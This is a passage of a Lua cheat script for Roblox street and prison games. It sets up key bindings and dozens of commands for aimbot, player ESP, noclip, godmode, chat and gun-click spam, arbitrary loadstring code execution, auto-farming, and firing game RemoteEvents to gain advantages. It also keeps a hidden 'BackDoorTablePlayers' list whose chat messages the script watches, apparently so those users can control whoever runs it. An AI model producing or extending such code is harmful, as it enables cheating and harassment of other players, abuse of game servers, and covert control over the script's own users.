  1542. if Key.KeyCode == Enum.KeyCode.W then
  1543. KeyTable['W'] = true
  1544. end
  1545. if Key.KeyCode == Enum.KeyCode.A then
  1546. KeyTable['A'] = true
  1547. end
  1548. if Key.KeyCode == Enum.KeyCode.S then
  1549. KeyTable['S'] = true
  1550. end
  1551. if Key.KeyCode == Enum.KeyCode.D then
  1552. KeyTable['D'] = true
  1553. end
  1554. if Key.KeyCode == Enum.KeyCode.Space then
  1555. if AirwalkOn then PartFound.CFrame = PartFound.CFrame + Vector3.new(0,5,0) end
  1556. end
  1557. if Key.KeyCode == Enum.KeyCode.E and Character:FindFirstChildOfClass'Tool' and Character:FindFirstChildOfClass'Tool':FindFirstChild'Clips' and not Character:FindFirstChild('Bone',true) and GunStomp then
  1558. if game.PlaceId == 455366377 then
  1559. local OldTool = Character:FindFirstChildOfClass'Tool'
  1560. OldTool.Parent = LP.Backpack
  1561. wait()
  1562. local Punch = LP.Backpack.Punch
  1563. Punch.Parent = Character
  1564. LP.Backpack.Input:FireServer("e",{})
  1565. wait(1)
  1566. Punch.Parent = LP.Backpack
  1567. wait()
  1568. OldTool.Parent = Character
  1569. else
  1570. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack.Punch)
  1571. end
  1572. end
  1573. if Key.KeyCode == Enum.KeyCode[CmdBarKey] then
  1574. wait()
  1575. CmdBarTextBox:CaptureFocus()
  1576. CmdBarFrame:TweenPosition(UDim2.new(0.5,0,0.5,0),"In","Sine",0.5,true)
  1577. local TextBox = UserInput.TextBoxFocusReleased:Wait()
  1578. CheckCommand(TextBox.Text)
  1579. TextBox.Text = ""
  1580. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1581. end
  1582. if Character:FindFirstChild'GravGun' then
  1583. if Key.KeyCode == Enum.KeyCode.Q and GravGunDistance > 5 then
  1584. GravGunDistance = GravGunDistance - 5
  1585. end
  1586. if Key.KeyCode == Enum.KeyCode.V then
  1587. GravGunDistance = GravGunDistance + 5
  1588. end
  1589. if Key.KeyCode == Enum.KeyCode.B then
  1590. GravGunSeizureMode = not GravGunSeizureMode
  1591. notif("WOW!","You found Grav gun seizure mode!, it has been set to "..tostring(GravGunSeizureMode),5,nil)
  1592. end
  1593. end
  1594. end)
  1595.  
  1596. UserInput.InputEnded:Connect(function(Key)
  1597. local Character = GetChar()
  1598. if UserInput:GetFocusedTextBox() then return end
  1599. if Key.KeyCode == Enum.KeyCode.W then
  1600. KeyTable['W'] = false
  1601. end
  1602. if Key.KeyCode == Enum.KeyCode.A then
  1603. KeyTable['A'] = false
  1604. end
  1605. if Key.KeyCode == Enum.KeyCode.S then
  1606. KeyTable['S'] = false
  1607. end
  1608. if Key.KeyCode == Enum.KeyCode.D then
  1609. KeyTable['D'] = false
  1610. end
  1611. if Key.KeyCode == Enum.KeyCode.LeftShift and SprintSpeed then
  1612. KeyTable['Shift'] = false
  1613. if Normalwalk and SprintSpeed == 25 then return end
  1614. Character.Humanoid.WalkSpeed = WalkSpeed
  1615. end
  1616. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1617. KeyTable['Control'] = false
  1618. if AirwalkOn then AirWalk.Size = Vector3.new(5,1,5) end
  1619. if Normalwalk and CrouchSpeed == 8 then return end
  1620. Character.Humanoid.WalkSpeed = WalkSpeed
  1621. end
  1622. end)
  1623.  
  1624. UserInput.JumpRequest:Connect(function()
  1625. local Character = GetChar()
  1626. if Character:FindFirstChildOfClass'Humanoid' and DoubleJumpEnabled then
  1627. Character.Humanoid:ChangeState(3)
  1628. end
  1629. end)
  1630.  
  1631. LP.Idled:Connect(function()
  1632. VirtualUser:CaptureController()
  1633. VirtualUser:ClickButton1(Vector2.new(0.5,0.5))
  1634. end)
  1635.  
  1636. Mouse.Button1Down:Connect(function()
  1637. local MouseTarget = Mouse.Target
  1638. if MouseTarget and GetChar():FindFirstChild'Zetox Btools' then
  1639. MouseTarget:Destroy()
  1640. end
  1641. if MouseTarget and GetChar():FindFirstChild'GravGun' then
  1642. local Target = MouseTarget.Parent:FindFirstChild'Head' or MouseTarget.Parent.Parent:FindFirstChild'Head' or MouseTarget
  1643. if Players:GetPlayerFromCharacter(Target.Parent) or not Target.Anchored then
  1644. GravGunBodyPosition = createBodyPos(Target)
  1645. end
  1646. end
  1647. if BfgOn and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild('Clips',true) and not CurrentlyShooting then
  1648. CurrentlyShooting = true
  1649. GetChar().Humanoid:UnequipTools()
  1650. local OldTool;
  1651. for _,Tool in pairs(LP.Backpack:GetChildren()) do
  1652. if Tool:IsA'Tool' and Tool:FindFirstChild('Clips',true) then
  1653. Tool.Parent = GetChar()
  1654. OldTool = Tool
  1655. LP.Backpack.Input:FireServer("m1",{
  1656. ['mousehit'] = Aimlock and AimlockTarget and AimbotToCFrame() or Mouse.Hit;
  1657. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  1658. ['velo'] = 0;
  1659. })
  1660. wait(0.3)
  1661. Tool.Parent = LP.Backpack
  1662. wait(0.3)
  1663. end
  1664. end
  1665. OldTool.Parent = GetChar()
  1666. CurrentlyShooting = false
  1667. end
  1668. end)
  1669.  
  1670. Mouse.Button1Up:Connect(function()
  1671. if GravGunBodyPosition then
  1672. GravGunBodyPosition:Destroy()
  1673. end
  1674. if GravGunBodyVelocity then
  1675. GravGunBodyVelocity:Destroy()
  1676. end
  1677. end)
  1678.  
  1679. Players.PlayerAdded:Connect(function(Player)
  1680. if BackDoorTablePlayers[Player.UserId] then -- SHUT UP EST I'M TIRED
  1681. print(1)
  1682. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  1683. end
  1684. Player.CharacterAdded:Connect(function(C)
  1685. local Head = C:WaitForChild('Head',10)
  1686. if Head then
  1687. if AimlockMode == "Closest" then
  1688. AimlockClosest(Player)
  1689. end
  1690. local Backdoor = BackDoorTablePlayers[Player.UserId]
  1691. local Blacklist = BlacklistTable[Player.UserId]
  1692. if Blacklist or Player:IsInGroup(5152759,6954679,6762089,7290645) or string.find(Player.Name:lower(),"lynx,I N V I S I O N E D,Smoked Fam,SINISTER") then
  1693. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(0,207,251),true)
  1694. Player.CharacterAdded:Connect(function(C)
  1695. local Head = C:WaitForChild'Head'
  1696. if Head then
  1697. Esp(Head,Player.Name,Color3.fromRGB(0,207,251),true)
  1698. end
  1699. end)
  1700. end
  1701. if Backdoor then
  1702. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  1703. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1704. Player.CharacterAdded:Connect(function(C)
  1705. local Head = C:WaitForChild'Head'
  1706. if Head then
  1707. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  1708. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  1709. end
  1710. end)
  1711. end
  1712. end
  1713. end)
  1714. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  1715. local User = IsAUser(Player,Chat)
  1716. if User then
  1717. Chatted:Disconnect()
  1718. end
  1719. end)
  1720. end)
  1721.  
  1722. AnyCmdButton.MouseButton1Click:Connect(function()
  1723. CanSetHotkey = "AnyCmd"
  1724. if AnyCmdTextBox.Text == "" then
  1725. AnyCmdButton.Text = "Type a command above"
  1726. else
  1727. AnyCmdButton.Text = "Press a Key"
  1728. end
  1729. end)
  1730.  
  1731. CmdBarKeyButton.MouseButton1Click:Connect(function()
  1732. CanSetHotkey = "CmdBar"
  1733. end)
  1734.  
  1735. Players.PlayerRemoving:Connect(function(Player)
  1736. if ExploitDetectionPlayerTablePositions[tostring(Player)] then
  1737. ExploitDetectionPlayerTablePositions[tostring(Player)] = nil
  1738. end
  1739. if tostring(Player) == tostring(AimlockTarget) then
  1740. AimlockTarget = nil
  1741. end
  1742. if Player == LoopPlayer then
  1743. FeLoop = false
  1744. LoopPlayer = nil
  1745. end
  1746. if Player == AnnoyingPlayer then
  1747. TriggerBot = false
  1748. AnnoyOn = false
  1749. AnnoyingPlayer = nil
  1750. AimbotAutoShoot = false
  1751. Flying = false
  1752. AutoDie = false
  1753. AimlockTarget = nil
  1754. end
  1755. Unesp(Player)
  1756. end)
  1757.  
  1758. CmdBarTextBox:GetPropertyChangedSignal("Text"):Connect(function()
  1759. pcall(function()
  1760. if CmdBarTextBox.Text ~= "" or CmdBarTextBox.Text ~= " " then
  1761. local Position = 0
  1762. local Children = CmdBarFrame:GetChildren()
  1763. for i = 1,#Children do
  1764. local Child = Children[i]
  1765. if Child:IsA'TextLabel' then
  1766. local Text = string.lower(Child.Text):gsub("[Alias] ","")
  1767. if string.find(Text,CmdBarTextBox.Text:lower()) then
  1768. Child.Position = UDim2.new(0,0,0,10 + (Position * 20))
  1769. Position = Position + 1
  1770. if Position >= 7 then
  1771. Child.Position = UDim2.new(0,0,0,1000)
  1772. Position = Position - 1
  1773. end
  1774. else
  1775. Child.Position = UDim2.new(0,0,0,1000)
  1776. end
  1777. end
  1778. end
  1779. end
  1780. end)
  1781. end)
  1782.  
  1783. CmdBarTextBox.FocusLost:Connect(function(PressedEnter)
  1784. CmdBarFrame:TweenPosition(UDim2.new(1.5,0,1.5,0),"Out","Quad",0.5,true)
  1785. if PressedEnter then
  1786. CheckCommand(CmdBarTextBox.Text)
  1787. CmdBarTextBox.Text = "" -- stop double executing
  1788. end
  1789. end)
  1790.  
  1791. -- [[ End ]] --
  1792.  
  1793. -- [[ Commands ]] --
  1794.  
  1795. AddCommand(function()
  1796. CmdsFrame.Visible = not CmdsFrame.Visible
  1797. end,"help",{"cmds","commands"},"Gives you help info","[No Args]")
  1798.  
  1799. AddCommand(function(Arguments)
  1800. AliasesEnabled = not AliasesEnabled
  1801. notif("AliasesEnabled","Has been set to "..tostring(AliasesEnabled),5,nil)
  1802. end,"usealiases",{"usealias"},"Turns On/Off Aliases","[No Args]")
  1803.  
  1804. AddCommand(function(Arguments)
  1805. Instance.new('Tool',LP.Backpack).Name = "Zetox Btools"
  1806. end,"btools",{},"Gives you btools","[No Args]")
  1807.  
  1808. AddCommand(function(Arguments)
  1809. if Arguments[1] then
  1810. if Arguments[1] == "normal" then
  1811. workspace.CurrentCamera.FieldOfView = 70
  1812. elseif tonumber(Arguments[1]) then
  1813. workspace.CurrentCamera.FieldOfView = Arguments[1]
  1814. end
  1815. end
  1816. end,"fieldofview",{"fov"},"Changes Field of View","[Number/Normal]")
  1817.  
  1818. AddCommand(function()
  1819. wait(0.6)
  1820. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Made by lewo 1010 | Join the cord at d.gg/YOULOSE","All")
  1821. end,"advertise",{},"Advertises the discord","[No Args]")
  1822.  
  1823. AddCommand(function(Arguments)
  1824. if not loadstring then notif("Don't have loadstring","Aborting the command",5,nil) end
  1825. if Arguments[1] then
  1826. loadstring(table.concat(Arguments," "))()
  1827. end
  1828. end,"luacode",{"exec","lua"},"Executes Lua code","[Code]")
  1829.  
  1830. AddCommand(function()
  1831. local ServerTable = {}
  1832. for i = 1,10 do
  1833. local Server = HttpService:JSONDecode(game:HttpGet("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex="..i))
  1834. for i = 1,#Server.Collection do
  1835. local Collection = Server.Collection[i]
  1836. ServerTable[Collection.Ping] = Collection.Guid
  1837. end
  1838. for i,v in pairs(ServerTable) do
  1839. if v ~= game.JobId then
  1840. TeleportService:TeleportToPlaceInstance(game.PlaceId,v)
  1841. break
  1842. end
  1843. end
  1844. end
  1845. end,"serverhop",{},"Hops servers of your current game","[No Args]")
  1846.  
  1847. AddCommand(function(Arguments)
  1848. if Arguments[1] and tonumber(Arguments[1]) then
  1849. WalkShoot = true
  1850. Normalwalk = true
  1851. WalkSpeed = Arguments[1]
  1852. GetChar().Humanoid.WalkSpeed = Arguments[1]
  1853. end
  1854. end,"speed",{"ws"},"Changes walkspeed","[Number]")
  1855.  
  1856. AddCommand(function(Arguments)
  1857. if Arguments[1] and tonumber(Arguments[1]) then
  1858. Normalwalk = false
  1859. SprintSpeed = Arguments[1]
  1860. updateHotkeys(ConfigurationFile)
  1861. end
  1862. end,"sprintspeed",{"sspeed"},"Changes sprinting speed","[Number]")
  1863.  
  1864. AddCommand(function(Arguments)
  1865. if Arguments[1] and tonumber(Arguments[1]) then
  1866. Normalwalk = false
  1867. CrouchSpeed = Arguments[1]
  1868. updateHotkeys(ConfigurationFile)
  1869. end
  1870. end,"crouchspeed",{"cspeed"},"Changes crouching speed","[Number]")
  1871.  
  1872. AddCommand(function(Arguments)
  1873. if Arguments[1] and tonumber(Arguments[1]) then
  1874. GetChar().Humanoid.JumpPower = Arguments[1]
  1875. end
  1876. end,"jumppower",{"jp"},"Changes JumpPower","['Number]")
  1877.  
  1878. AddCommand(function(Arguments)
  1879. if Arguments[1] and tonumber(Arguments[1]) then
  1880. GetChar().Humanoid.HipHeight = Arguments[1]
  1881. end
  1882. end,"hipheight",{"hh"},"Changes HipHeight","[Number]")
  1883.  
  1884. AddCommand(function(Arguments)
  1885. if Arguments[1] then
  1886. if tonumber(Arguments[1]) then
  1887. workspace.Gravity = tonumber(Arguments[1])
  1888. elseif Arguments[1] and Arguments[1] == "normal" then
  1889. workspace.Gravity = NormalGravity
  1890. end
  1891. end
  1892. end,"gravity",{"grav"},"Changes gravity","[Number/Normal]")
  1893.  
  1894. AddCommand(function(Arguments)
  1895. local Character = GetChar()
  1896. if Arguments[1] then
  1897. if Arguments[1] == "ws" or Arguments[1] == "speed" then
  1898. Character.Humanoid.WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1899. SpawnWs = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1900. WalkSpeed = Arguments[2] and tonumber(Arguments[2]) or NormalWs
  1901. elseif Arguments[1] == "jp" or Arguments[1] == "jumppower" then
  1902. Character.Humanoid.JumpPower = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1903. SpawnJP = Arguments[2] and tonumber(Arguments[2]) or NormalJP
  1904. elseif Arguments[1] == "hh" or Arguments[1] == "hipheight" then
  1905. Character.Humanoid.HipHeight = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1906. NormalHH = Arguments[2] and tonumber(Arguments[2]) or NormalHH
  1907. end
  1908. end
  1909. end,"loop",{"spawn"},"Spawns you with that [Speed/JumpPower/HipHeight]","[jp/hh/ws [Number]]")
  1910.  
  1911. AddCommand(function(Arguments)
  1912. local Tool = GetChar():FindFirstChildOfClass'Tool'
  1913. if not Tool then notif("Tool Needed","Hold a tool then run the command again",5,nil) return end
  1914. Tool.Parent = LP.Backpack
  1915. Tool.Grip = CFrame.new(Arguments[1] or 0,Arguments[2] or 0,Arguments[3] or 0) + Vector3.new(Arguments[4] or 0,Arguments[5] or 0,Arguments[6] or 0)
  1916. Tool.Parent = GetChar()
  1917. end,"grippos",{"grip"},"Changes your tool .Grip","[6 Numbers (Optional)]")
  1918.  
  1919. AddCommand(function(Arguments)
  1920. NoGh = not NoGh
  1921. notif("NoGroundHit","Has been set to "..tostring(NoGh),5,nil)
  1922. end,"nogroundhit",{"nogh","antigh","antigroundhit"},"Can't be groundhit","[No Args]")
  1923.  
  1924. AddCommand(function(Arguments)
  1925. if game.PlaceId ~= 4669040 then notif("Due to an update snake did","this only works on prison.",5,nil) return end
  1926. AlwaysGh = not AlwaysGh
  1927. end,"alwaysgh",{"alwaysgroundhit"},"Beat people up like the school bully did to you when you were 13!","[No Args]")
  1928.  
  1929. AddCommand(function()
  1930. local HudChildren = LP.PlayerGui.HUD:GetChildren()
  1931. for i = 1,#HudChildren do
  1932. local Child = HudChildren[i]
  1933. if Child:IsA'Frame' then
  1934. Child.Active = not Child.Active
  1935. Child.Draggable = not Child.Draggable
  1936. end
  1937. end
  1938. end,"draggablegui",{},"Makes your HUD draggable","[No Args]")
  1939.  
  1940. AddCommand(function(Arguments)
  1941. if not Arguments[1] then
  1942. GodMode = not GodMode
  1943. if GodMode then
  1944. if game.PlaceId == 455366377 then
  1945. notif("go get KO'ed","make sure you don't get dragged and like fly away somewhere when you get up you will be godded",5,nil)
  1946. end
  1947. end
  1948. if game.PlaceId ~= 455366377 then
  1949. GetChar():BreakJoints()
  1950. end
  1951. notif("GodMode","Has been set to "..tostring(GodMode),5,nil)
  1952. end
  1953. end,"godmode",{"god"},"Turns on god-mode so you can't be hit (Breaks Tools)","[No Args]")
  1954.  
  1955. AddCommand(function(Arguments)
  1956. local Descendants = game:GetDescendants()
  1957. for i = 1,tonumber(Arguments[1]) or 50 do
  1958. local Child = Descendants[i]
  1959. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  1960. Child.Click:FireServer()
  1961. wait()
  1962. end
  1963. end
  1964. end,"spamclick",{},"Spam clicks a fuck ton of guns to be very annoying","[Number (Optional)]")
  1965.  
  1966. AddCommand(function()
  1967. local WorkspaceChildren = workspace:GetChildren()
  1968. for i = 1,#WorkspaceChildren do
  1969. local Child = WorkspaceChildren[i]
  1970. if Child.Name == "Door" and Child:FindFirstChild'Click' and Child:FindFirstChild'Lock' then
  1971. Child.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1972. Child.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1973. end
  1974. end
  1975. end,"doors",{},"Unlocks/Locks doors","[No Args]")
  1976.  
  1977. AddCommand(function(Arguments)
  1978. Spamming = not Spamming
  1979. if Arguments[1] then
  1980. SpamMessage = table.concat(Arguments," ")
  1981. end
  1982. end,"spam",{},"Spams the message that you set","[Message To Spam]")
  1983.  
  1984. AddCommand(function(Arguments)
  1985. if Arguments[1] then
  1986. SpamDelay = tonumber(Arguments[1]) or 1
  1987. end
  1988. end,"spamdelay",{},"Changes the spam delay amount","[Number]")
  1989.  
  1990. AddCommand(function(Arguments)
  1991. local GameDescendants = game:GetDescendants()
  1992. for i = 1,10 do
  1993. for i = 1,#GameDescendants do
  1994. local Child = GameDescendants[i]
  1995. if Child:IsA'Tool' and Child:FindFirstChild'Click' then
  1996. Child.Click:FireServer()
  1997. end
  1998. end
  1999. end
  2000. end,"muteallradios",{"muteradios"},"Mutes all radios (Doesn't loop)","[No Args]")
  2001.  
  2002. AddCommand(function(Arguments)
  2003. if not Arguments[1] then
  2004. TeleportService:TeleportToPlaceInstance(game.PlaceId,game.JobId)
  2005. end
  2006. end,"rejoin",{"rj"},"Rejoins the current game server","[No Args]")
  2007.  
  2008. AddCommand(function(Arguments)
  2009. if not Arguments[1] then
  2010. GetChar():BreakJoints()
  2011. end
  2012. end,"reset",{"re"},"Kills your Player","[No Args]")
  2013.  
  2014. AddCommand(function()
  2015. AirwalkOn = not AirwalkOn
  2016. AirWalk.Parent = AirwalkOn and workspace or not AirwalkOn and nil
  2017. end,"airwalk",{},"Allows you to walk in the air","[No Args]")
  2018.  
  2019. AddCommand(function()
  2020. NeverSitting = not NeverSitting
  2021. if NeverSitting then
  2022. local workspaceChildren = workspace:GetDescendants()
  2023. for i = 1,#workspaceChildren do
  2024. local Child = workspaceChildren[i]
  2025. if string.find(Child.ClassName:lower(),"seat") then
  2026. Child.Parent = CoreGui
  2027. end
  2028. end
  2029. else
  2030. local CoreGuiDescendants = CoreGui:GetDescendants()
  2031. for i = 1,#CoreGuiDescendants do
  2032. local Child = CoreGuiDescendants[i]
  2033. if string.find(Child.ClassName:lower(),"seat") then
  2034. Child.Parent = workspace
  2035. end
  2036. end
  2037. end
  2038. end,"neversit",{"nsit"},"Toggles the possibility of you being able to sit down","[No Args]")
  2039.  
  2040. AddCommand(function()
  2041. AutoDie = not AutoDie
  2042. notif("AntiKO","Has been set to "..tostring(AutoDie),5,nil)
  2043. end,"noko",{"antiko","autodie","autoreset"},"Auto resets when you get KO'ed","[No Args]")
  2044.  
  2045. AddCommand(function()
  2046. Noclip = not Noclip
  2047. notif("Noclip","Has been set to "..tostring(Noclip),5,nil)
  2048. end,"noclip",{},"Allows you to walk through walls and stuff","[No Args]")
  2049.  
  2050. AddCommand(function(Arguments)
  2051. if Arguments[1] then
  2052. local Player = PlrFinder(Arguments[1])
  2053. if Player and Player.Character and Player.Character:FindFirstChild'Head' and Player ~= LP then
  2054. Teleport(Player.Character.Head.CFrame)
  2055. end
  2056. end
  2057. end,"goto",{"to"},"Teleports you to a player","[Player Name]")
  2058.  
  2059. AddCommand(function(Arguments)
  2060. if Arguments[1] and tonumber(Arguments[1]) then
  2061. ClockTime = Arguments[1]
  2062. else
  2063. ClockTime = nil
  2064. end
  2065. end,"time",{},"Changes the time","[Number]")
  2066.  
  2067. AddCommand(function(Arguments)
  2068. if Arguments[1] then
  2069. local Player = PlrFinder(Arguments[1])
  2070. if Player then
  2071. notif(Player.Name,"has the account age of "..Player.AccountAge,5,nil)
  2072. end
  2073. end
  2074. end,"playerinfo",{"info"},"Returns a players age","[No Args]")
  2075.  
  2076. AddCommand(function(Arguments)
  2077. AntiAim = not AntiAim
  2078. if not AntiAim then
  2079. stopAnim("215384594")
  2080. stopAnim("188632011")
  2081. for i,v in pairs(GetChar().Torso:GetChildren()) do
  2082. if v:IsA'BodyVelocity' and v.Name ~= "CyAdminFly" then
  2083. v:Destroy()
  2084. end
  2085. end
  2086. else
  2087. for i = 1,500 do
  2088. local BodyV = Instance.new("BodyVelocity",GetChar().Torso)
  2089. BodyV.MaxForce = Vector3.new(100,100,100)
  2090. BodyV.P = math.huge
  2091. BodyV.Velocity = Vector3.new(math.huge,math.huge,math.huge)
  2092. end
  2093. if Arguments[1] and Arguments[1] == "spin" then
  2094. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  2095. while AntiAim and GetChar():FindFirstChild'Humanoid' and GetChar().Humanoid.Health > 0 and wait() do
  2096. stopAnim("188632011")
  2097. Track:play(0.1,1,10)
  2098. end
  2099. else
  2100. stopAnim("215384594")
  2101. stopAnim("188632011")
  2102. GetChar().Humanoid:LoadAnimation(AntiAimAnimation):Play(5,45,250)
  2103. end
  2104. end
  2105. end,"antiaim",{},"Breaks camlock to an extent","[Spin/No Args]")
  2106.  
  2107. AddCommand(function()
  2108. local Punch = GetChar():FindFirstChild'Punch'
  2109. if Punch then
  2110. if Punch.Grip == CFrame.new(math.huge,math.huge,math.huge) then
  2111. Punch.Parent = LP.Backpack
  2112. Punch.Grip = CFrame.new(0,0,0)
  2113. wait()
  2114. Punch.Parent = GetChar()
  2115. notif("SuperPunch","Turned off",5,nil)
  2116. else
  2117. Punch.Parent = LP.Backpack
  2118. Punch.Grip = CFrame.new(math.huge,math.huge,math.huge)
  2119. wait()
  2120. Punch.Parent = GetChar()
  2121. notif("SuperPunch","Turned on (Lasts one life also really buggy)",5,nil)
  2122. end
  2123. else
  2124. notif("SuperPunch","Hold your fists",5,nil)
  2125. end
  2126. end,"superpunch",{},"This is really stupid and buggy but funny when it works","[No Args]")
  2127.  
  2128. AddCommand(function(Arguments)
  2129. if Arguments[1] then
  2130. if Arguments[1] == "1" then
  2131. GunAnim = "1"
  2132. elseif Arguments[1] == "2" then
  2133. GunAnim = "2"
  2134. elseif Arguments[1] == "off" then
  2135. GunAnim = "None"
  2136. else
  2137. notif("GunAnim","Only [1/2/Off] work")
  2138. return
  2139. end
  2140. notif("GunAnim","Has been set to "..GunAnim,5,nil)
  2141. end
  2142. end,"gunanim",{},"Stupid gun animations (gunanim [1/2/off])","[1/2/off]")
  2143.  
  2144. AddCommand(function(Arguments)
  2145. if Arguments[1] then
  2146. stopAnim("33796059")
  2147. stopAnim("35654637")
  2148. if Arguments[1] == "1" then
  2149. GetChar().Humanoid:LoadAnimation(Dance1Animation):Play()
  2150. elseif Arguments[1] == "2" then
  2151. GetChar().Humanoid:LoadAnimation(Dance2Animation):Play()
  2152. elseif Arguments[1] == "off" then
  2153. stopAnim("33796059")
  2154. stopAnim("35654637")
  2155. end
  2156. end
  2157. end,"dance",{},"Stupid dance anims (1,2,Off)","[Dance 1/Dance 2/Off]")
  2158.  
  2159. AddCommand(function(Arguments)
  2160. if Arguments[1] then
  2161. if Arguments[1] == "head" then
  2162. CamlockTarget = "Head"
  2163. elseif Arguments[1] == "torso" then
  2164. CamlockTarget = "Torso"
  2165. end
  2166. notif("CamlockTarget","Has been set to "..CamlockTarget,5,nil)
  2167. end
  2168. end,"camlocktarget",{"cltarget"},"Head,Torso to switch the camlock target","[Head/Torso]")
  2169.  
  2170. AddCommand(function()
  2171. if game.PlaceId ~= 455366377 then notif("BringCar","Streets Only",5,nil) return end
  2172. math.randomseed(os.time())
  2173. if workspace:FindFirstChild'Cars' then
  2174. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  2175. local ChildrenOfCars = workspace.Cars:GetDescendants()
  2176. for i = 1,#ChildrenOfCars do
  2177. local i = math.random(1,#ChildrenOfCars)
  2178. local Child = ChildrenOfCars[i]
  2179. if Child:IsA'VehicleSeat' and Child.Name == "Drive" and not Child.Occupant then
  2180. PartFound.CFrame = Child.CFrame
  2181. end
  2182. end
  2183. else
  2184. notif("No cars to bring","try again later",5,nil)
  2185. end
  2186. end,"bringcar",{},"Brings a car (Normal TS only","[No Args]")
  2187.  
  2188. AddCommand(function()
  2189. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2190. if TpBypass then notif("Due to snakes bad code","you can not use burgers/drinks with the tpbypass") return end
  2191. if GrabItem("burger",GetChar().Head.CFrame) then
  2192. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  2193. if Hamborger then
  2194. Hamborger.Parent = GetChar()
  2195. Hamborger:Activate() -- CHEEMS
  2196. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= LP.Character
  2197. end
  2198. end
  2199. if GrabItem("drink",GetChar().Head.CFrame) then
  2200. local Drink = LP.Backpack:FindFirstChild'Drink'
  2201. if Drink then
  2202. Drink.Parent = GetChar()
  2203. Drink:Activate()
  2204. end
  2205. end
  2206. end,"heal",{"h"},"Heals you (Duh?)","[No Args]","[No Args]")
  2207.  
  2208. AddCommand(function(Arguments)
  2209. if game.PlaceId ~= 455366377 then notif("Sorry,","Streets Only",5,nil) return end
  2210. HealBot = not HealBot
  2211. if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) and Arguments[1] == "health" then
  2212. HealBotHealth = tonumber(Arguments[2])
  2213. end
  2214. notif("HealBot","Has been set to "..tostring(HealBot),5,nil)
  2215. end,"healbot",{},"Turns on auto healing at a set health (Defaults at 25 hp","[Health [Number] (Optional)]")
  2216.  
  2217. AddCommand(function()
  2218. if game.PlaceId ~= 455366377 then notif("Heal","Streets Only",5,nil) return end
  2219. if not GetChar():FindFirstChildOfClass'Tool' or not GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Clips' then notif("Tool needed","Hold a gun",5,nil) return end
  2220. GrabItem("ammo",GetChar().Head.CFrame)
  2221. end,"reload",{"r"},"Gives your current gun ammo","[No Args]")
  2222.  
  2223. AddCommand(function(Arguments)
  2224. if Arguments[1] then
  2225. local Player = PlrFinder(Arguments[1])
  2226. if Player and Player.Character and Player ~= LP then
  2227. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2228. workspace.CurrentCamera.CameraSubject = Player.Character
  2229. if Arguments[2] and Arguments[2] == "loop" then
  2230. ViewPlayerConnection = Player.CharacterAdded:Connect(function(C)
  2231. workspace.CurrentCamera.CameraSubject = C
  2232. end)
  2233. end
  2234. end
  2235. end
  2236. end,"view",{},"Look through a different players perspective","[No Args]")
  2237.  
  2238. AddCommand(function()
  2239. if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil end
  2240. workspace.CurrentCamera.CameraSubject = GetChar()
  2241. end,"unview",{},"Look through your own vision like a normal person","[No Args]")
  2242.  
  2243. AddCommand(function()
  2244. GunStomp = not GunStomp
  2245. notif("GunStomp","Has been set to "..tostring(GunStomp),5,nil)
  2246. end,"gunstomp",{},"Toggles GunStomp (On by default)","[No Args]")
  2247.  
  2248. AddCommand(function(Arguments)
  2249. CamLocking = not CamLocking
  2250. if Arguments[1] then
  2251. local Player = PlrFinder(Arguments[1])
  2252. if Player then
  2253. CamlockPlayer = Player
  2254. end
  2255. end
  2256. end,"camlock",{"lockcam","cl"},"Different type of aimbot (Uses camera instead of the remote)","[Player Name]")
  2257.  
  2258. AddCommand(function(Arguments)
  2259. if Arguments[1] then
  2260. if Arguments[1] == "auto" then
  2261. AutoFarm = not AutoFarm
  2262. return
  2263. end
  2264. if Arguments[1] == "sawed" then Arguments[1] = "sawed off" end
  2265. farm(Arguments[1])
  2266. end
  2267. end,"farm",{},"Farm (Cash,Sawed Off,Uzi,Shotty,Auto)","[Item/Auto]")
  2268.  
  2269. AddCommand(function()
  2270. ItemEsp = not ItemEsp
  2271. if ItemEsp then
  2272. for i,_ in pairs(FarmTable) do
  2273. local Part,String = find(i)
  2274. if Part ~= "None" then
  2275. Esp(Part,String)
  2276. end
  2277. end
  2278. else
  2279. local Children = workspace:GetChildren()
  2280. for i = 1,#Children do
  2281. Unesp(Children[i])
  2282. end
  2283. end
  2284. end,"itemesp",{},"Turns on ItemEsp","[No Args]")
  2285.  
  2286. AddCommand(function(Arguments)
  2287. if game.PlaceId ~= 455366377 then notif("Wont Work","Streets Only",5,nil) return end
  2288. if Arguments[1] then
  2289. if Arguments[1] == "sawed" then Arguments[1] = "sawedoff" end
  2290. if PartTable[Arguments[1]] then
  2291. GrabItem(Arguments[1],GetChar().Head.CFrame)
  2292. end
  2293. end
